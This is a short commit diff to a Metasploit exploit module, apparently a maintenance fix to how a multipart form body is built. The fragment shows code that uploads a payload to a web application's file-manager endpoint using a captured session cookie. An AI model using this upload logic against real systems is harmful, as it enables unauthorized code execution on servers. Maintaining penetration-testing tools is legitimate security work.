Delete the Rex::MIME::Message gsub

bug/bundler_fix
jvazquez-r7 2014-11-25 21:54:50 -06:00
parent eaa41e9a94
commit 7fbd5b63b1
1 changed files with 2 additions and 3 deletions

View File

@ -266,15 +266,14 @@ class Metasploit3 < Msf::Exploit::Remote
post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')
post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')
post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')
data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
print_status("#{peer} - Attempting to upload payload")
print_status("#{peer} - Attempting to upload payload #{@payload_name}...")
res = send_request_cgi({
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(uri, 'index.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => data,
'data' => post_data.to_s,
'vars_get' => {
'sec' => 'gsetup',
'sec2' => 'godmode/setup/file_manager'